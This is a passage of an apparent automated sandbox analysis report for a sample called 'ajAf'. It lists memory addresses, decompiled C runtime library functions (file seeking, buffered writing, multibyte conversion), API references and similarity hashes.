0x0040c808
0x0040c7f9
0x0040c7f9
0x0040c7fc
0x0040c81a
0x0040c81e
0x0040c8d8
0x0040c8de
0x0040c8de
0x0040c8e0
0x00000000
0x0040c8e0
0x0040c824
0x0040c827
0x0040c829
0x0040c843
0x0040c84a
0x0040c84f
0x0040c852
0x0040c857
0x0040c8d2
0x0040c8d5
0x0040c8d5
0x0040c8d5
0x00000000
0x0040c8d5
0x0040c859
0x0040c85b
0x0040c85d
0x0040c868
0x0040c86b
0x0040c88d
0x0040c88f
0x0040c892
0x0040c895
0x0040c89d
0x0040c89f
0x0040c8a6
0x0040c8ab
0x0040c8ae
0x0040c8c0
0x0040c8c0
0x0040c8c3
0x0040c8c3
0x0040c8c8
0x0040c8cd
0x0040c8cd
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x00000000
0x0040c8cd
0x0040c8b0
0x0040c8b3
0x0040c8b6
0x00000000
0x00000000
0x0040c8b8
0x0040c8be
0x00000000
0x00000000
0x00000000
0x0040c8be
0x0040c8a1
0x0040c8a1
0x00000000
0x0040c8a1
0x0040c86d
0x0040c873
0x0040c880
0x0040c880
0x0040c882
0x00000000
0x00000000
0x0040c877
0x0040c87a
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87f
0x0040c87f
0x0040c87f
0x0040c884
0x00000000
0x0040c884
0x0040c82b
0x00000000
0x0040c82b
0x0040c7fe
0x00000000
0x0040c7fe
0x0040c80a
0x0040c80f
0x00000000
0x0040c80f
0x0040c7ce
0x0040c7d8
0x0040c7db
0x0040c7e0
0x00000000
0x00000000
0x0040c7e2
0x0040c7e4
0x0040c7e6
0x00000000
0x00000000
0x0040c7e8
0x0040c7ea
0x0040c7ea
0x0040c7ed
0x0040c7ef
0x0040c7f2
0x0040c7f2
0x0040c7f2
0x0040c7f4
0x0040c7f5
0x0040c7f5
0x00000000
0x0040c7ea
0x00000000
0x0040c7ab
0x0040c79e
0x0040c75b
0x0040c760
0x0040c761
0x0040c762
0x0040c763
0x0040c764
0x0040c765
0x0040c76b
0x00000000

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Uniqueness

Uniqueness Score: -1.00%

Function 01FCC9AF Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

__fileno.LIBCMT ref: 01FCC9E3
__locking.LIBCMT ref: 01FCC9F8

Part of subcall function 01FCC228: __getptd_noexit.LIBCMT ref: 01FCC228

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: __fileno__getptd_noexit__locking
String ID:
API String ID: 630670418-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: ee4b470a2108c20006ba6772b525ab08b7707b7d4ea38528f06515f454bcbfa5
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: 5C51D671E0020BEFDB11CFACCA84758BBB1EF04B54F18826DD919A7281D732DA41EB80

Uniqueness

Uniqueness Score: -1.00%

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00405D00(void* __ebx, void* __edx, void* __ebp, signed int* _a4, signed int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t33;
				signed int _t35;
				signed int _t39;
				void* _t42;
				intOrPtr _t43;
				void* _t45;
				signed int _t48;
				signed int* _t53;
				void* _t54;
				void* _t55;
				void* _t57;

				_t54 = __ebp;
				_t45 = __edx;
				_t42 = __ebx;
				_t53 = _a4;
				if(_t53 == 0) {
					L40:
					_t31 = _t30 | 0xffffffff;
					__eflags = _t31;
					return _t31;
				} else {
					_t43 = _a12;
					if(_t43 == 2) {
						goto L40;
					} else {
						_t30 = _t53[0xe];
						if(_t30 == 0xffffffff || _t30 == 0xfffffffd) {
							goto L40;
						} else {
							_t48 = _a8;
							if(_t53[0x17] != 0x77) {
								__eflags = _t43 - 1;
								if(_t43 == 1) {
									_t48 = _t48 + _t53[0x1a];
									__eflags = _t48;
								}
								__eflags = _t48;
								if(_t48 < 0) {
									goto L39;
								} else {
									__eflags = _t53[0x16];
									if(__eflags == 0) {
										_t33 = _t53[0x1a];
										__eflags = _t48 - _t33;
										if(_t48 < _t33) {
											_t30 = E004054F0(_t42, _t54, _t53);
											_t55 = _t55 + 4;
											__eflags = _t30;
											if(_t30 < 0) {
												goto L39;
											} else {
												goto L27;
											}
										} else {
											_t48 = _t48 - _t33;
											L27:
											__eflags = _t48;
											if(_t48 == 0) {
												L38:
												return _t53[0x1a];
											} else {
												__eflags = _t53[0x12];
												if(_t53[0x12] != 0) {
													L30:
													__eflags = _t53[0x1b] - 0xffffffff;
													if(_t53[0x1b] != 0xffffffff) {
														_t53[0x1a] = _t53[0x1a] + 1;
														_t48 = _t48 - 1;
														__eflags = _t53[0x1c];
														_t53[0x1b] = 0xffffffff;
														if(_t53[0x1c] != 0) {
															_t53[0xe] = 1;
														}
													}
													__eflags = _t48;
													if(_t48 <= 0) {
														goto L38;
													} else {
														while(1) {
															_t35 = 0x4000;
															__eflags = _t48 - 0x4000;
															if(_t48 < 0x4000) {
																_t35 = _t48;
															}
															_t30 = E00405A20(_t45, _t53, _t53[0x12], _t35);
															_t55 = _t55 + 0xc;
															__eflags = _t30;
															if(_t30 <= 0) {
																goto L39;
															}
															_t48 = _t48 - _t30;
															__eflags = _t48;
															if(_t48 > 0) {
																continue;
															} else {
																goto L38;
															}
															goto L41;
														}
														goto L39;
													}
												} else {
													_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
													_t55 = _t55 + 4;
													_t53[0x12] = _t30;
													__eflags = _t30;
													if(_t30 == 0) {
														goto L39;
													} else {
														goto L30;
													}
												}
											}
										}
									} else {
										_push(0);
										_push(_t48);
										_push(_t53[0x10]);
										_t53[0x1b] = 0xffffffff;
										_t53[1] = 0;
										 *_t53 = _t53[0x11];
										_t30 = E0040C46B(_t42, _t53[0x10], _t48, _t53, __eflags);
										__eflags = _t30;
										if(_t30 < 0) {
											goto L39;
										} else {
											_t53[0x1a] = _t48;
											_t53[0x19] = _t48;
											return _t48;
										}
									}
								}
							} else {
								if(_t43 == 0) {
									_t48 = _t48 - _t53[0x19];
								}
								if(_t48 < 0) {
									L39:
									_t32 = _t30 | 0xffffffff;
									__eflags = _t32;
									return _t32;
								} else {
									if(_t53[0x11] != 0) {
										L11:
										if(_t48 <= 0) {
											L17:
											return _t53[0x19];
										} else {
											while(1) {
												_t39 = 0x4000;
												if(_t48 < 0x4000) {
													_t39 = _t48;
												}
												_t30 = E00405260(_t42, _t45, _t53, _t53[0x11], _t39);
												_t55 = _t55 + 0xc;
												if(_t30 == 0) {
													goto L39;
												}
												_t48 = _t48 - _t30;
												if(_t48 > 0) {
													continue;
												} else {
													goto L17;
												}
												goto L41;
											}
											goto L39;
										}
									} else {
										_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
										_t57 = _t55 + 4;
										_t53[0x11] = _t30;
										if(_t30 == 0) {
											goto L39;
										} else {
											E0040BA30(_t48, _t30, 0, 0x4000);
											_t55 = _t57 + 0xc;
											goto L11;
										}
									}
								}
							}
						}
					}
				}
				L41:
			}

0x00405d00
0x00405d00
0x00405d00
0x00405d01
0x00405d07
0x00405e7f
0x00405e7f
0x00405e7f
0x00405e83
0x00405d0d
0x00405d0d
0x00405d14
0x00000000
0x00405d1a
0x00405d1a
0x00405d20
0x00000000
0x00405d2f
0x00405d34
0x00405d38
0x00405dad
0x00405db0
0x00405db2
0x00405db2
0x00405db2
0x00405db5
0x00405db7
0x00000000
0x00405dbd
0x00405dbd
0x00405dc1
0x00405df8
0x00405dfb
0x00405dfd
0x00405e04
0x00405e09
0x00405e0c
0x00405e0e
0x00000000
0x00000000
0x00000000
0x00000000
0x00405dff
0x00405dff
0x00405e10
0x00405e10
0x00405e12
0x00405e73
0x00405e78
0x00405e14
0x00405e14
0x00405e18
0x00405e2e
0x00405e2e
0x00405e32
0x00405e34
0x00405e37
0x00405e38
0x00405e3c
0x00405e43
0x00405e45
0x00405e45
0x00405e43
0x00405e4c
0x00405e4e
0x00000000
0x00405e50
0x00405e50
0x00405e50
0x00405e55
0x00405e57
0x00405e59
0x00405e59
0x00405e61
0x00405e66
0x00405e69
0x00405e6b
0x00000000
0x00000000
0x00405e6d
0x00405e6f
0x00405e71
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e71
0x00000000
0x00405e50
0x00405e1a
0x00405e1f
0x00405e24
0x00405e27
0x00405e2a
0x00405e2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e2c
0x00405e18
0x00405e12
0x00405dc3
0x00405dc9
0x00405dcb
0x00405dcc
0x00405dcd
0x00405dd4
0x00405ddb
0x00405ddd
0x00405de5
0x00405de7
0x00000000
0x00405ded
0x00405ded
0x00405df0
0x00405df7
0x00405df7
0x00405de7
0x00405dc1
0x00405d3a
0x00405d3c
0x00405d3e
0x00405d3e
0x00405d43
0x00405e79
0x00405e7a
0x00405e7a
0x00405e7e
0x00405d49
0x00405d4d
0x00405d77
0x00405d79
0x00405da7
0x00405dac
0x00405d7b
0x00405d80
0x00405d80
0x00405d87
0x00405d89
0x00405d89
0x00405d91
0x00405d96
0x00405d9b
0x00000000
0x00000000
0x00405da1
0x00405da5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405da5
0x00000000
0x00405d80
0x00405d4f
0x00405d54
0x00405d59
0x00405d5c
0x00405d61
0x00000000
0x00405d67
0x00405d6f
0x00405d74
0x00000000
0x00405d74
0x00405d61
0x00405d4d
0x00405d43
0x00405d38
0x00405d20
0x00405d14
0x00000000

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Uniqueness

Uniqueness Score: -1.00%

Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040BAAA(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E0040F0AD(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E0040FA20(_t90, _t98, _t100));
										_t74 = E0040F944(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E0040C1FB(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E0040B350(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E0040BFC1(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E0040E744(_t90, 0, _t100);
					goto L4;
				}
			}

0x0040baaa
0x0040baba
0x0040bae0
0x00000000
0x0040bac1
0x0040bac1
0x0040bac4
0x0040bac6
0x0040bae7
0x0040baea
0x0040baec
0x00000000
0x00000000
0x0040baee
0x0040baf3
0x0040baf6
0x0040baf9
0x00000000
0x00000000
0x0040bafe
0x0040bb02
0x0040bb09
0x0040bb0c
0x0040bb0f
0x0040bb11
0x0040bb1b
0x0040bb13
0x0040bb16
0x0040bb16
0x0040bb22
0x0040bb24
0x0040bbe9
0x00000000
0x0040bb2a
0x0040bb2a
0x0040bb2d
0x0040bb2d
0x0040bb33
0x0040bb64
0x0040bb64
0x0040bb67
0x0040bbc0
0x0040bbc7
0x0040bbca
0x0040bbf5
0x0040bbf5
0x0040bbf7
0x00000000
0x0040bbfb
0x0040bbcc
0x0040bbcf
0x0040bbd2
0x0040bbd3
0x0040bbd6
0x0040bbd8
0x0040bbda
0x0040bbda
0x00000000
0x0040bbd8
0x0040bb69
0x0040bb6b
0x0040bb78
0x0040bb78
0x0040bb7c
0x0040bb7e
0x0040bb82
0x0040bb84
0x0040bb87
0x0040bb87
0x0040bb87
0x0040bb89
0x0040bb8a
0x0040bb94
0x0040bb95
0x0040bb9a
0x0040bb9d
0x0040bba0
0x0040bc03
0x0040bc03
0x0040bc07
0x00000000
0x0040bba2
0x0040bba2
0x0040bba4
0x0040bba6
0x0040bba8
0x0040bba8
0x0040bbaa
0x0040bbad
0x0040bbaf
0x0040bbb1
0x00000000
0x0040bbb3
0x0040bbb3
0x0040bbb3
0x00000000
0x0040bbb3
0x0040bbb1
0x0040bba0
0x0040bb6e
0x0040bb74
0x0040bb76
0x00000000
0x00000000
0x00000000
0x0040bb76
0x0040bb35
0x0040bb38
0x0040bb3a
0x00000000
0x00000000
0x0040bb3c
0x0040bbf1
0x0040bbf1
0x0040bbf1
0x00000000
0x0040bbf1
0x0040bb42
0x0040bb44
0x0040bb46
0x0040bb48
0x0040bb48
0x0040bb50
0x0040bb55
0x0040bb58
0x0040bb5a
0x0040bb5d
0x0040bb5f
0x00000000
0x0040bbe1
0x0040bbe1
0x0040bbe1
0x00000000
0x0040bb2a
0x0040bb24
0x0040bac8
0x0040bac8
0x0040bacd
0x0040bace
0x0040bacf
0x0040bad0
0x0040bad1
0x0040bad2
0x0040bad8
0x00000000
0x0040badd

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Uniqueness

Uniqueness Score: -1.00%

Function 01FCBD11 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 01FCBDD5
__fileno.LIBCMT ref: 01FCBDF5
__locking.LIBCMT ref: 01FCBDFC
__flsbuf.LIBCMT ref: 01FCBE27

Part of subcall function 01FCC228: __getptd_noexit.LIBCMT ref: 01FCC228

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: __fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 1291973410-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 464b393105b6345609bc9399581d4a4af2b552dc98ae927bfde97bdddda0132b
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: 1341F535E0060BEBDB148F69CA9259EBBB6EF80FA0F24852DD51597140D732D940AF41

Uniqueness

Uniqueness Score: -1.00%

Function 01FC5F67 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 01FC5FBB
_memset.LIBCMT ref: 01FC5FD6
_fseek.LIBCMT ref: 01FC6044

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction ID: f7f0d3428ef89c077805173facaf11e11f254fa3aacd29ab8c5edf76c88a4ba3
Opcode Fuzzy Hash: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction Fuzzy Hash: E941C672A48B138AD730862D9F0071776F59F90A74F140A1DE6DAD2790E733E445E741

Uniqueness

Uniqueness Score: -1.00%

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041529F(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0040EC86( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E004153D0( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0040BFC1(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x004152a9
0x004152b0
0x004152c7
0x00000000
0x004152b7
0x004152b9
0x004152d3
0x004152d8
0x004152db
0x004152de
0x00415307
0x0041530e
0x00415310
0x00415391
0x004153ac
0x004153ae
0x004152ee
0x004152ee
0x004152f1
0x004152f3
0x004152f6
0x004152f6
0x004152f6
0x004152f6
0x00000000
0x004152fc
0x00415370
0x00415370
0x00415375
0x0041537b
0x0041537e
0x00415380
0x00415383
0x00415383
0x00415383
0x00415383
0x00000000
0x00415387
0x00415312
0x00415315
0x0041531b
0x0041531e
0x00415345
0x00415348
0x0041534e
0x00000000
0x00000000
0x00415350
0x00415353
0x00000000
0x00000000
0x00415355
0x00415355
0x0041535b
0x0041535e
0x004152cc
0x004152cc
0x00415367
0x00000000
0x00415367
0x00415320
0x00415323
0x00000000
0x00000000
0x00415327
0x00415338
0x0041533e
0x00415340
0x00415343
0x00000000
0x00000000
0x00000000
0x00415343
0x004152e0
0x004152e3
0x004152e5
0x004152eb
0x004152eb
0x00000000
0x004152bb
0x004152bb
0x004152c0
0x004152c4
0x004152c4
0x00000000
0x004152c0
0x004152b9

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Uniqueness

Uniqueness Score: -1.00%

Function 01FD5506 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 01FD553A
__isleadbyte_l.LIBCMT ref: 01FD556E
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 01FD559F
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 01FD560D

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 3d5a46b13f73afe8716d6c18539e01b93c3ca0b3da3816334ac2bb9cac90411c
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: D331B131A10246EFEB22DF68C880BBE3FB7AF41215B9C4569E565CB1B1E732D940DB50

Uniqueness

Uniqueness Score: -1.00%

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004134DB(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00412DCC(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00412EBC(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E004133E1(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
